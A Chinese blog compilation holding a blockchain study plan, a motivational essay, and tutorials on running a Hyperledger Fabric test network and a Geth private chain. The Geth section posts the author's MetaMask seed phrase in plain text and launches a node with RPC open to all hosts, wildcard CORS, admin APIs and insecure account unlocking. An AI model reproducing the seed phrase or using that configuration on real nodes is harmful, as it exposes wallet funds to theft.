Winter Holiday Work Plan

Winter Holiday Work Plan,Time:20210112-20210301

一、阅读论文并作内容总结

​ 在校下载论文100篇,期刊主要来源于自动化学报、软件学报、计算机学报、IEEE等其他顶会期刊,论文类型分类:共识算法、智能合约、网络层、联盟链Fabric、交叉应用(物联网、大数据、联邦学习、医疗、智慧农业、智慧交通)等。

  • 粗读:综述性文章在上半学期了解一些区块链基础知识以及可扩展的点,在家期间把所下载的论文类型中综述性粗略阅读并做论文大纲思维导图;
  • 细读:把一些关于联盟链的相关论文进行细读,论文的创新点在哪里,如何根据创新点去搭建模型,从中尝试找到自己能够在论文基础上改进的点和可应用可开发的点,并根据论文的内容去绘制思维导图和知识图谱。

论文时间安排:

时间安排 论文阅读数量 论文类别
20200112-20200208 30(粗:10/细:20) 联盟链、网络层、密码学相关
20200218-20200228 10(粗:5/细:5) 联盟链

二、代码复现

​ 根据所阅读的论文中的模型,查找相关模型的代码进行复现,并尝试去修改代码,加深对论文中提出的模型理解及根据论文模型尝试找到其他可创新点等。主要想法是根据超级账本Fabric去做相关的应用,但不仅限于此,目前考虑学习国内的相关框架,如:HyperChain、FISCO BCOS等

  • 根据模型中提出的业务场景去搭建联盟链,并实现相关的业务代码;

  • 由于下载的多数论文中都是根据国外的Fabric做的,尝试进行业务迁移到国内的框架上去做;

  • 自己的想法去实现:数据清洗+区块链做数据溯源的相关项目、联邦学习(边缘计算)+区块链做数据溯源相关的项目。

  • 在校期间待完成的代码

    联盟链 项目名称
    Fabric 基于超级账本的医疗数据溯源平台
  • 密码学加密算法复现

    密码学 算法名称
    对称加密算法 DES、3DES、AES加密
    非对称加密算法 RSA加密算法
    散列算法 MD4 、MD5 、SHA1、SHA256 、SHA512
  • Sample smart contracts

    Hyperledger Fabric文档和其他示例使用的智能合约示例

    Smart Contract Description Tutorial Languages
    fabcar Basic smart contract that allows you to add and change data on the ledger using the Fabric contract API. Also contains an example on how to run chaincode as an external service.
    基本智能契约,允许您使用Fabric契约API添加和更改分类账上的数据。也包含一个关于如何运行链码作为外部服务的例子。
    Writing your first application Go, Java, JavaScript, Typescript
    marbles02 Sample that demonstrates how to deploy an index and use rich queries when you are using CouchDB as your state database. Using CouchDB Go
    marbles02_private Sample that demonstrates the use of private data collections. Private data tutorial Go
    marbles_transfer Smart contract that demonstrates the use of private data, state based endorsement, and access control to securely transfer an asset between two parties Marbles private asset transfer scenario Go
    abac Smart contract that restricts access to the chaincode namespace using Attribute Based Access Control. Go
    sacc Simple asset chaincode that interacts with the ledger using the low-level APIs provided by the Fabric Chaincode Shim API. Chaincode for developers Go
    abstore Basic smart contract that allows you to transfer data (from A to B) using the Fabric contract API.
    基本的智能契约,允许您使用Fabric契约API(从A到B)传输数据。
    Go, Java, JavaScript

三、其他

​ 代码能力需要提高,上述的内容涉及很多其他知识,需要进一步进行学习:

  • linux
    • Docker进一步去巩固学习,并学习自动化部署K8s;
    • Nginx 反向代理
  • Go
    • Beego 学习
    • 基础巩固,强化学习
  • 阅读课外书

Snobbery is the way of the world

“ Snobbery is the way of the world – people are friendly or unfriendly,depending on whether one is successful or not.”
“世态炎凉(势利是这个世间的方式)——人们对你是否有善,取决于你是否成功.”

天一亮,太阳照常升起,生活还得继续,无论如何,只要不妨碍着谁,想吃吃,想睡睡,想不说话就不说话,不必太在意别人,只要自己舒心就行了。

img

人,都难免会遇到逆境的时候。人在逆境的时候,我们的经济条件,我们的人脉资源,我们的物质基础,都会变得十分地薄弱。所以,在这一样的一种境遇下,我们难免会在自己的人生路上,遇到种种困难。曾经经受过许多挫折和困难的古人或者前人,给身处逆境的人留下不少扎心的人生金句,特别是这四句话,更是让我们感到人生的不容易。而在逆境中,能够咬牙挺过来的人,却往往会成为一个与众不同的人。

img

第一句金句:人穷休入众,位卑莫劝人。

在民间,有很多耳熟能详的俗语,却道尽了人际交往的微妙性,比如这句“人穷休入众,位卑莫劝人。”这句话的意思其实也很浅显,其实就是告诉我们,一个人在落魄的时候,不要随意进入很多人的圈子里,免得被人讥讽嘲笑;在自己地位暂时比较卑微底层的时候,遇到他人之间的矛盾等杂事纠纷,我们尽量不要去参与劝解,免得被人嫌弃,甚至攻击。这样的境遇,一般人很难遇到,只有一个人真正遇到困境的时候,在自己身处逆境的时候,才会真正深刻地体会到这些人情世故。有时候,我们很愤怒,却往往无可奈何,只能低下头来,转身离去,然后,靠着自己默默地努力,去改变现状,才是最好的办法。

img

第二句金句:穷在闹市无人问,富在深山有远亲。

人在逆境的时候,特别是当一个人从自己曾经辉煌的事业,跌入人生的低谷的时候,我们才会真正地领悟到“穷在闹市无人问,富在深山有远亲”的滋味。是啊,一个人,在富有的时候,往往身边车水马龙,很多人,都想和我们来往;而当我们陷入经济危机,甚至落魄落难的时候,曾经的亲人朋友,也许,都会一个个远离我们而去。而越是这样,我们越要明白,在自己陷入落魄的境地,靠山靠人,都不可靠,只有靠自己咬牙坚持,才能让自己慢慢强大,才能让自己活出新的自我。

img

第三句金句:虎落平阳被犬欺,凤凰落水不如鸡。

“虎落平阳被犬欺,凤凰落水不如鸡。”这句话的意思,就是说以前的身份地位不在了,自己落魄了,所以,失去了曾经的强势力量,现在,会很容易被被很弱的人欺负。当然,这只是一个比喻,其实,这句话更是告诉我们,一个人陷入落魄境地的时候,当我们一个人背井离乡独自闯荡的时候,身在异乡,我们会遇到很多想不到的困境。身边没有亲人和朋友的帮助,自己孤家寡人,力量单薄,非常容易遭遇不如意的待遇,被人欺负,看不起的事情,也会常常发生。而越是在这样的境遇中,我们越要懂得隐忍自己,用自己一颗强大的心脏,去撑起人在异乡的困难,慢慢地挺过自己的人生的冬季,才能实现自己新的理想和追求。

img

第四句金句:钱不是万能的,没有钱是万万不能的。

人活着,在我们凡俗的日子里,如果没有遭遇什么经济危机,我们是不会深刻领悟到没有钱的痛苦滋味的。而只有当我们陷入人生的低谷,身处逆境,身无分文,甚至欠债累累的时候,我们才能深刻地领悟到“钱不是万能的,没有钱是万万不能的”心酸和无奈。是啊,古人云:一文钱难倒英雄汉。 一个人,只有陷入落魄的逆境中,被自己基本的衣食住行困扰的时候,我们内心才能为没有一定的经济基础而忧心忡忡。所以,身处逆境,我们一定要想办法先找到工作,解决好自己的衣食住行,然后,靠着自己的咬牙坚持,才能慢慢地挺过自己最为艰难的时期。

img

朋友们,一个人身处逆境,其实,还不是什么大的问题。只要我们没有自暴自弃,只要我们懂得咬牙去慢慢地坚持熬下去,总有一天,我们会走出困境,迎来属于我们的春暖花开满地鲜花的盛景。而人生的这些金句,会让我们走出人生冬季的时候,成为我们的座右铭,常常闪耀在我们的脑海里,激励我们,谨慎而顽强地前行。

img

Hyperledger Fabric - 01 - 安装并测试网络

Hyperledger Fabric 搭建并测试

一、环境准备

系统工具 版本 备注
CentOS 7
Docker 18.09.4 参考:Centps7安装docker
Docker-compose 1.25.0 参考下方
GO 1.13.4 参考:CentOS7下载Go 解压配置环境变量即可
1
2
3
4
5
6
#安装docker-compose
#方式一:
curl -L https://github.com/docker/compose/releases/download/1.25.0-rc1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
#方式二:
pip install -U docker-compose==1.23.2

二、安装fabric2.x

  • 首先,自行下载fabric源码git clone,将下载的fabric包解压出来,进入到${HOME}/fabric/scripts脚本目录进行安装

1

  • 下载过程比较漫长,因为采用的是docker镜像容器进行安装,需要下载所需要的镜像,我这里面拉取了所有的镜像,很多暂时不用(2.x不支持kafka,zookeeper)
  • 脚本执行结束后,可以看到相关镜像等其他信息,如果存在没有拉取完的镜像,就在执行一边。

2

  • 通过docker查看拉取的镜像信息docker image ls -a

3

执行完如上图,另外在scripts目录下会多出来一个fabric-samples目录

三、启动test-network测试网络

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
[root@XiaYuJie_fabric test-network]# ./network.sh up createChannel -c zzuChannel -ca

Unknown flag: createChannel

Usage:
network.sh <Mode> [Flags]
<Mode>
- 'up' - bring up fabric orderer and peer nodes. No channel is created
- 'up createChannel' - bring up fabric network with one channel
- 'createChannel' - create and join a channel after the network is created
- 'deployCC' - deploy the fabcar chaincode on the channel
- 'down' - clear the network with docker-compose down
- 'restart' - restart the network

Flags:
-ca <use CAs> - create Certificate Authorities to generate the crypto material
-c <channel name> - channel name to use (defaults to "mychannel")
-s <dbtype> - the database backend to use: goleveldb (default) or couchdb
-r <max retry> - CLI times out after certain number of attempts (defaults to 5)
-d <delay> - delay duration in seconds (defaults to 3)
-l <language> - the programming language of the chaincode to deploy: go (default), java, javascript, typescript
-v <version> - chaincode version. Must be a round number, 1, 2, 3, etc
-i <imagetag> - the tag to be used to launch the network (defaults to "latest")
-cai <ca_imagetag> - the image tag to be used for CA (defaults to "latest")
-verbose - verbose mode
network.sh -h (print this message)

Possible Mode and flags
network.sh up -ca -c -r -d -s -i -verbose
network.sh up createChannel -ca -c -r -d -s -i -verbose
network.sh createChannel -c -r -d -verbose
network.sh deployCC -l -v -r -d -verbose

Taking all defaults:
network.sh up

Examples:
network.sh up createChannel -ca -c mychannel -s couchdb -i 2.0.0
network.sh createChannel -c channelName
network.sh deployCC -l javascript
1
2
cd /fabric-samples/test-network
network.sh up

如下图,表示启动成功,已启动一个orderer节点和两个peer节点。

4

可以查看本地启动的docker container 存在测试网络启动的oder和peer

1
2
docker ps -a  #查看启动的container
docker container ls -a #查看启动的container

5

四、使用测试网络

  • 创建channel,使用network.sh脚本创建来创建一个连接org1和org2组织并加入他们peer的通道,命令如下:
1
./network.sh createChannel

6

7

如上图,创建成功(默认通道名为mychannel)。

也可以带上channel标签,命令如下(-c channelName):

1
./network.sh createChannel -c channel1

如果要在一个步骤中启动网络并创建频道,可以同时使用up和create channel模式:

1
./network.sh up createChannel

  • 在通道上启动链码。

使用network.sh创建通道之后,可以使用以下命令在通道上启动链码(默认使用go语言):

1
./network.sh deployCC

可以指定语言,加-l ,比如用java,命令如下:

1
./network.sh deployCC -l java

如图,启动成功:

8

  • 与网络互动

网络启动之后,可以使用peer cli客户端去操作网络,可以通过cli客户端去调用部署智能合约,更新通道,或者安装和部署新的智能合约。

1606741674241

首先确保操作目录为test-network目录。使用以下命令将二进制文件添加到cli路径:

1
export PATH=${PWD}/../bin:${PWD}:$PATH

还需要设置FABRIC_CFG_PATH路径指向fabric-samples中的core.yaml文件,命令如下:

1
export FABRIC_CFG_PATH=$PWD/../config/

设置允许org1操作peer cli的环境变量:

1
2
3
4
5
6
# Environment variables for Org1
export CORE_PEER_TLS_ENABLED=true
export CORE_PEER_LOCALMSPID="Org1MSP"
export CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crt
export CORE_PEER_ADDRESS=localhost:7051
export CORE_PEER_MSPCONFIGPATH=${PWD}/organizations/peerOrganizations/org1.example.com/users/Admin@org1.example.com/msp

如上,CORE_PEER_TLS_ROOTCERT_FILE和CORE_PEER_MSPCONFIGPATH环境变量指向organizations文件夹中的org1的加密文件。

使用以下命令获取汽车资产列表:

1
2
3
4
5
6
7
8
9
10
11
12
 peer chaincode query -C mychannel -n fabcar -c '{"Args":["queryAllCars"]}'
#result
[{"Key":"CAR0", "Record":{"make":"Toyota","model":"Prius","colour":"blue","owner":"Tomoko"}},
{"Key":"CAR1", "Record":{"make":"Ford","model":"Mustang","colour":"red","owner":"Brad"}},
{"Key":"CAR2", "Record":{"make":"Hyundai","model":"Tucson","colour":"green","owner":"Jin Soo"}},
{"Key":"CAR3", "Record":{"make":"Volkswagen","model":"Passat","colour":"yellow","owner":"Max"}},
{"Key":"CAR4", "Record":{"make":"Tesla","model":"S","colour":"black","owner":"Adriana"}},
{"Key":"CAR5", "Record":{"make":"Peugeot","model":"205","colour":"purple","owner":"Michel"}},
{"Key":"CAR6", "Record":{"make":"Chery","model":"S22L","colour":"white","owner":"Aarav"}},
{"Key":"CAR7", "Record":{"make":"Fiat","model":"Punto","colour":"violet","owner":"Pari"}},
{"Key":"CAR8", "Record":{"make":"Tata","model":"Nano","colour":"indigo","owner":"Valeria"}},
{"Key":"CAR9", "Record":{"make":"Holden","model":"Barina","colour":"brown","owner":"Shotaro"}}]

当网络成员想要转移或更改总账上的资产时,就会调用链码。通过调用fabcar链码,使用以下命令更改帐本上的资产所有者:

(Chaincodes are invoked when a network member wants to transfer or change an asset on the ledger. Use the following command to change the owner of a car on the ledger by invoking the fabcar chaincode:)

1
peer chaincode invoke -o localhost:7050 --ordererTLSHostnameOverride orderer.example.com --tls --cafile ${PWD}/organizations/ordererOrganizations/example.com/orderers/orderer.example.com/msp/tlscacerts/tlsca.example.com-cert.pem -C mychannel -n fabcar --peerAddresses localhost:7051 --tlsRootCertFiles ${PWD}/organizations/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crt --peerAddresses localhost:9051 --tlsRootCertFiles ${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt -c '{"function":"changeCarOwner","Args":["CAR9","Dave"]}'
1
2020-11-30 08:09:25.532 EST [chaincodeCmd] chaincodeInvokeOrQuery -> INFO 001 Chaincode invoke successful. result: status:200 

1606741941280

在调用链代码之后,我们可以使用另一个查询来查看调用如何更改了区块链分类账上的资产。因为我们已经查询了Org1对等点,所以我们可以利用这个机会查询在Org2对等点上运行的链代码。将以下环境变量设置为Org2:

After we invoke the chaincode, we can use another query to see how the invoke changed the assets on the blockchain ledger. Since we already queried the Org1 peer, we can take this opportunity to query the chaincode running on the Org2 peer. Set the following environment variables to operate as Org2:

1
2
3
4
5
6
7
# Environment variables for Org2

export CORE_PEER_TLS_ENABLED=true
export CORE_PEER_LOCALMSPID="Org2MSP"
export CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt
export CORE_PEER_MSPCONFIGPATH=${PWD}/organizations/peerOrganizations/org2.example.com/users/Admin@org2.example.com/msp
export CORE_PEER_ADDRESS=localhost:9051

你现在可以在“peer0.org2.example.com”上查询fabcar链码:

You can now query the fabcar chaincode running on peer0.org2.example.com:

1
peer chaincode query -C mychannel -n fabcar -c '{"Args":["queryCar","CAR9"]}'

结果将显示‘CAR9’转移给Dave:

The result will show that "CAR9" was transferred to Dave:

1
{"make":"Holden","model":"Barina","colour":"brown","owner":"Dave"}

1606742208875

五、关闭网络

1
./network.sh down

10

启动过程详解

  • ./network.sh为两个peer节点和一个order节点创建了证书和密钥,默认情况下,脚本会利用在organizations/cryptogen文件夹下的加密工具。
  • 脚本利用configtxgen工具创建了系统的创世块,它使用configtx/configtx.yaml文件来创建创世块,并存储在system-genesis-block文件夹中。
  • 当上述两步完成之后,./network.sh会启动网络,脚本利用在docker文件夹下的docker-compose-test-net.yaml文件创建peer和orderer节点。
  • 如果使用了createChannel子命令,脚本还会运行script文件夹下的createChannel.sh脚本来创建所需要的channel,脚本会用peer命令来创建channel,加入两个组织。
  • 如果运行了deployCC命令,脚本会在所有peers上运行script下的deployCC.sh脚本来安装fabcar chaincode,在chaincode的定义被提交到channel之后,peer命令会调用init函数来初始化chaincode,并将所需的数据放入chaincode中。

注:下图是fabric简化交易过程

11

六、标志并启动网络(ca为网络的标志)

1
./network.sh up -ca

标志并启动网络

值得花一些时间检查/ network.sh脚本部署CA之后生成的日志。 测试网络使用Fabric CA客户端以每个组织的CA注册节点和用户身份。 之后这个脚本使用enroll命令为每个身份生成一个MSP文件夹。 MSP文件夹包含每个身份的证书和私钥,以及在运营CA的组织中建立身份的角色和成员身份。 您可以使用以下命令来检查Org1管理员用户的MSP文件夹:

1
tree organizations/peerOrganizations/org1.example.com/users/Admin@org1.example.com/

该命令将显示MSP文件夹的结构和配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
organizations/peerOrganizations/org1.example.com/users/Admin@org1.example.com/
└── msp
├── IssuerPublicKey
├── IssuerRevocationPublicKey
├── cacerts
│ └── localhost-7054-ca-org1.pem
├── config.yaml
├── keystore
│ └── 58e81e6f1ee8930df46841bf88c22a08ae53c1332319854608539ee78ed2fd65_sk
├── signcerts
│ └── cert.pem
└── user

Geth_搭建私有链

MetaMask_pass:spot raccoon network sweet feel song knee put just uncover news audit //我的MetaMask助记词 ;可以直接用Remix-IDE连接geth,也可以通过MetaMask连接Geth,这样MetaMask帮助你实现r s v ,不用自己去弄!

Geth客户端:Geth_download

Part0 MetaMask

1

1
2
#通过MetaMask连接本地Geth或者Ganache搭建的私有链或者TestRPC等都可以,这样会比较方便查看部署的合约和交易信息,而且更贴合实际操作。
#如果不想搭建私有链,可以通过测试网络去部署合约和交易也是可以的,但是首先需要从对应的测试网络水龙头获取ether操作及之后测试需要科学上网。
  • 在本地通过npm安装一个remixd,这样可以实时将本地和浏览器代码同步,方便存储代码。npm install remixd -g

    2

  • 部署合约和测试合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#智能合约
#Solidity编译器是solc,通过remix-ide编写合约时候,注意solc的版本
#pragma solidity >0.6.2 也可以,当版本出现错误时候,可以尝试改变编译版本
pragma solidity ^0.6.2;

contract Test{
//contract balance
uint public money ;
//在remix中修改value 运行paly,金额就转到合约当中去了,然后通过transfer转到其他账户中去
function paly() public payable{
money = msg.value;
}

//contract balance
function getBalance() public view returns(uint256){
return address(this).balance;
}

address payable addr = 0x78662A9CFfFc852cF61a5c6c637cFB93f1c59397;
//transfer who ,who call
function transfer(uint i ) public payable {
addr.transfer ( i * 10 ** 18);
}
}
  • 接种编写合约的方式

    • VS code IDE,代码编写,基本的语法检查.
    • Remix IDE,简单代码编译运行看结果.方便学习.
    • Truffle 环境,生产环境,较为复杂的代码编译部署.
  • ENVIRONMENT

    • JavaScriptVM
      • 该方式环境是将合约部署到浏览器的Solidity编译环境,可以在内存中模拟合约,直接运行,而不需要部署等复杂流程,适合入门学习.
    • Injected Web3
      • 该方式可以连接到MetaMask.
    • Web3 Provider
      • 该方式通过本地私有网络的rpc端口,链接到本地私有网络进行调试.
  • Deployed Contracts

    • 可以看到已经部署的合约,此时就可以看到在合约中写的相应get-set函数和public的状态变量;
    • 可以进行智能合约回调,当且只有产生新的数据才会发生交易,否则仅仅是调用,而不会产生新的交易区块.

3

Part1 Geth入门

  • 创世块
1
2
3
4
5
6
7
8
9
10
11
{
"config": {
"chainId": 15
},
"difficulty": "2000",
"gasLimit": "2100000",
"alloc": {
"7df9a875a174b3bc565e6424a0050ebc1b2d1d82": { "balance": "300000000000000000000" },
"f41c74c9ae680c1aa78f42e5647a62f353b7bdde": { "balance": "400000000000000000000" }
}
}
  • 初始化创世快
1
2
3
D:\gethData>geth --datadir . init genesis.json
此时在testGeth目录下会生成data目录,data目录又包含geth和keystore目录,geth目录存储区块数据,keystore目录则保存账户信息。
--init #根据genesis.json文件初始化创世区块
  • 启动geth并开启远程RPC然后log输出到output.log里面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
D:\gethData>geth --datadir ./data0/ --rpc --rpccorsdomain "*" --rpcaddr "0.0.0.0" --rpcapi "personal,admin,miner,db,eth,net,web3" --ipcdisable  --nodiscover  --allow-insecure-unlock --networkid 15 console 2>> output.log
D:\gethData>geth --datadir "./data0/" --nodiscover --ipcdisable --port 3333 --rpc --rpcport 4444 --rpcapi="db,eth,net,web3,personal" --allow-insecure-unlock --rpccorsdomain="http://remix.ethereum.org" --networkid 1314 console 2>output.log
--datadir #指定数据存储位置(也是默认的私钥仓库位置keystore)
--networkid 123#参数表示区块链网络ID标识,
--console #参数表示进入geth控制台。
--rpc #启动HTTP-RPC服务(基于HTTP的)
--rpcapi #远程可调用的功能,默认web3,net,eth。4.24版本必须添加personal,否则remix无法读取本地账户列表;4.24版本testrpc也是无法读取用户列表。
--rpccorsdomain #指定一个可以接收请求来源的以逗号间隔的域名列表(浏览器访问的话,要强制指定该选项)
--rpcaddr # HTTP-RPC服务器监听地址(default: "localhost")
--rpcport "8545" #设置geth的端口号,默认为8545
--port "30303" #设置监听端口号,用于与其他按节点进行连接,默认30303
--identity "TestNetMainNode" #设置节点标识
--ipcdiscover #关闭进程间通信
--maxpeers 0 #设置网络中可以被接入的最大节点数目,0代表不被其他节点接入
--nodiscover #私有链,不被别人添加
--allow-insecure-unlock #禁止了HTTP通道解锁账户
--2>> output.log #错误追加输出到output.log(所有信息不管错误和正确都输出到文件中)
#连接测试网进入控制台,此时我们已经进入geth测试网的交互式控制台,窗口也显示「Welcome to the Geth JavaScript console」成功提示!
#注意:
#https://blog.csdn.net/qq_32938169 #某位大佬博客
#在当前目录下运行 geth,就会启动这条私链,注意要将 networked 设置为与创世块配置里的chainId 一致。
#异常:使用最新版本geth客户,当执行personal.unlockAccount()或在程序中调用personal_unlockAccount接口时,会出现:account unlock with HTTP access is forbidden异常。
#异常原因:新版本geth,出于安全考虑,默认禁止了HTTP通道解锁账户,相关issue:https://github.com/ethereum/go-ethereum/pull/17037
  • 发送一比交易:
1
personal.sendTransaction({from: "0xaC58C330aC8fF04fF828684d3FFABEFE987de7cb" , to: eth.accounts[0] , value: web3.toWei(100 , "ether")})
  • 查询账户余额且以ether方式显示
1
web3.fromWei(eth.getBalance("0xaC58C330aC8fF04fF828684d3FFABEFE987de7cb"),,'ether')
  • 查询账户列表
1
2
3
eth.accounts  #数组
- 输出结果:[]
- 含义:意思是无账户地址,因为我们什么也没做,所以当然是不会凭空出现账户了。
  • 创建新账户
1
2
3
personal.newAccount("password")
# 输出结果:hash
# 含义:表明账户新建成功,返回账户地址,123为账户密码。此时我们再次查询账户列表会发现已有刚创建的地址了。
  • 查询账户余额
1
2
3
eth.getBalance(eth.accounts[0])
# 输出结果:0
# 含义:表明这个账户的余额是0。
  • 启动或停止挖矿
1
2
3
miner.start();#开始挖矿
admin.sleepBlocks(1);
miner.stop()
  • 以Ether显示余额
1
web3.fromWei(eth.getBalance(eth.accounts[0]),"ether")#查询余额

  • 常见对象
1
2
3
4
5
6
7
8
Geth Console 是一个交互式的 JavaScript 执行环境,里面内置了一些用来操作以太坊的 JavaScript 对象,我们可以直接调用这些对象来获取区块链上的相关信息。这些对象主要包括:
eth#主要包含对区块链进行访问和交互相关的方法;
net#主要包含查看 p2p 网络状态的方法;
admin#主要包含与管理节点相关的方法;
miner# 主要包含挖矿相关的一些方法;
personal#包含账户管理的方法;
txpool#包含查看交易内存池的方法;
web3#包含以上所有对象,还包含一些通用方法。
  • 常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#分类展示常见命令:
Personal:
personal.newAccount("password")#创建账户;
personal.unlockAccount(eth.accounts[0])#解锁账户0;
personal.unlockAccount(eth.coinbase)#解锁当前挖矿的账户
personal.sendTransaction() #发送交易;参数:from to value
Eth:
eth.accounts #数组;列出系统中的账户;
eth.getBalance()#查看账户余额,返回值的单位是 Wei;
eth.blockNumber#列出当前区块高度;
eth.getTransaction()#获取交易信息;
eth.getBlock()#获取区块信息;
eth.estimateGas({data: code})#估计部署合约要用的gas
eth.sendTransaction({from:eth.accounts[0],to:eth.accounts[1],value:web3.toWei(2)})#交易
//部署合约
var code ="合约bytecode";
var abi = "合约ABI";
var myContract = eth.contract(abi) #创建类,合约的ABI
myContract.new({from:eth.accounts[0] , data:code , gas:210000})#创建合约实例
Miner:
miner.start()#开始挖矿;默认线程12
miner.stop()#停止挖矿;
miner.setEtherbase(eth.accounts[0])#设置挖矿人
Web3:
web3.fromWei()# Wei 换算成以太币;
web3.fromWei(eth.getBalance(eth.accounts[0]),'ether')#以ether方式查看余额
web3.toWei()#以太币换算成 Wei;
Txpool:
txpool.status#交易池中的状态;
  • 既然是javaScript的执行环境,肯定可以定义一些变量等其他
1
2
#定义变量
var variablename = value;

Part2 部署智能合约

  • 在Remix-IDE中,可可以在编译界面看到
    • Compilation Details
      • 打开可以看到ABI(Json还要进行压缩转移麻烦)和ByteCode(也可以直接支付下方的)
      • 更重要的是,可以直接复制WEB3DEPLOY的给定的JavaScript脚本直接粘贴到Geth即可,方便快捷
      • 惭愧:上面两种方式我都失败了,懒得弄了,后续有需求在搞,网上教程找个很多,都是这样操作的,但是我就是不成功,最后乖乖的直接部署到Ganache/TestRPC。
    • IPFS,星际文件系统(分布式文件系统,去中心化,底层区块链)内容很多,功能很强大.Download科学上网去下,或者Git
      • 我目前知道的好处:比如,互联网中常见的html网页,很多都是重复的内容,但是存储多份;此时如果通过IPFS进行存储,由于IPFS是基于内容寻址的,所以只要内容一样,解析的地址是同一个
      • 其次就是,IPDS也可以解决记录多版本问题

4

  • 定义变量存储合约信息
1
2
var code ="合约bytecode";
var abi = "合约ABI";
  • 估算部署合约要用的gas
1
eth.estimateGas({data: code})
  • 部署合约
1
2
3
4
var myContract = eth.contract(abi)
//创建类
var contract1 =myContract.new({from:"0xe473d288faf6c2d1812dbb759d7423605c7d1a58",data:code,gas:1200000})
//创建合约实例。括号内部的from后填写的是你账户的地址。gas后填写你愿意支付的gas。原则上大于刚刚估计的值。
  • 查看合约信息
1
2
3
4
5
6
7
8
9
10
contract1 
txpool.status
//这个命令可以看到有没有待挖矿的交易。我们可以看到有一个。
miner.start()
miner.stop()
//挖一会矿再停下来。
txpool.status
//待挖矿交易变为0。就说明合约已经写入链上了。
contract1.address
//调用这个可以看到我们部署到链上的合约的地址了。这个值保存下来。以后要用到。
  • 至此合约已经部署到了我们搭建的私链上了。

  • 如何调用已经部署好的合约
1
2
3
# 重新启动Geth控制台或者使用其他包时,调用原来部署好的智能合约要通过合约地址。
# 没有写入链上的变量在经历重启geth或者重启web3程序时都会没有了。但是如果部署好的智能合约,并且写入数据时运用的交易都挖矿写入链中了。那么再次通过地址调用时关于合约的数据就都还保留。
# 下面示例在Geth中调用合约的方法。假设我们现在已经重启了Geth控制台,首先还是要用合约地址实例化一个合约出来。
1
2
3
4
5
6
var abi=JSON.parse(‘合约的abi’)
//录入ABI。格式同上一节
myContract = eth.contract(abi)
//创建类
contract = myContract.at(address)
//创建合约实例,这里要指名部署过的合约地址。地址先前已经保存。

通过geth控制台调用智能合约中的函数
智能合约中的函数分为两类,一种是需要付gas才能调用的函数,一种是无需花费gas的函数。这两类函数在geth控制台中被调用时用到的命令不一样,这里分别举两个例子。

1
2
3
4
5
6
personal.unlockAccount(eth.coinbase)
//记得先解锁账户
contract.函数名.sendTransaction("参数1","参数2","参数...",{from:"0xe473d288faf6c2d1812dbb759d7423605c7d1a58"})
//上面是在geth控制台调用transactionn类型(要付gas类的)函数的方法。函数名要替换成自己的,括号内部前部分为函数的参数,分别列出,最后一项大括号内from要写付费的用户的地址(换成自己的)。
contract.函数名.call("参数1","参数2", "参数...")
//调用call类型函数的方法,(不要付gas类的)。

所有函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
> eth.
eth._requestManager eth.getBlockTransactionCount eth.getUncle
eth.accounts eth.getBlockUncleCount eth.getWork
eth.blockNumber eth.getCode eth.hashrate
eth.call eth.getCoinbase eth.iban
eth.chainId eth.getCompilers eth.icapNamereg
eth.coinbase eth.getGasPrice eth.isSyncing
eth.compile eth.getHashrate eth.mining
eth.constructor eth.getHeaderByHash eth.namereg
eth.contract eth.getHeaderByNumber eth.pendingTransactions
eth.defaultAccount eth.getMining eth.protocolVersion
eth.defaultBlock eth.getPendingTransactions eth.resend
eth.estimateGas eth.getProof eth.sendIBANTransaction
eth.fillTransaction eth.getProtocolVersion eth.sendRawTransaction
eth.filter eth.getRawTransaction eth.sendTransaction
eth.gasPrice eth.getRawTransactionFromBlock eth.sign
eth.getAccounts eth.getStorageAt eth.signTransaction
eth.getBalance eth.getSyncing eth.submitTransaction
eth.getBlock eth.getTransaction eth.submitWork
eth.getBlockByHash eth.getTransactionCount eth.syncing
eth.getBlockByNumber eth.getTransactionFromBlock
eth.getBlockNumber eth.getTransactionReceipt
> personal.
personal._requestManager personal.getListWallets personal.lockAccount personal.signTransaction
personal.constructor personal.importRawKey personal.newAccount personal.unlockAccount
personal.deriveAccount personal.initializeWallet personal.openWallet personal.unpair
personal.ecRecover personal.listAccounts personal.sendTransaction
personal.getListAccounts personal.listWallets personal.sign
> miner.
miner.constructor miner.propertyIsEnumerable miner.setRecommitInterval miner.toString
miner.getHashrate miner.setEtherbase miner.start miner.valueOf
miner.hasOwnProperty miner.setExtra miner.stop
miner.isPrototypeOf miner.setGasPrice miner.toLocaleString

Part3 本地环境信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
> admin
{
datadir: "D:\\gethData",
nodeInfo: {
enode: "enode://fac072814049255eb2f4c8c2c381183d87ee519d93600852cdcabd7dc3d9224d916be319bb2bfed89430112225f338d9dc15ea818f89cd242e46a05dd6bd63a7@192.168.136.117:30303",
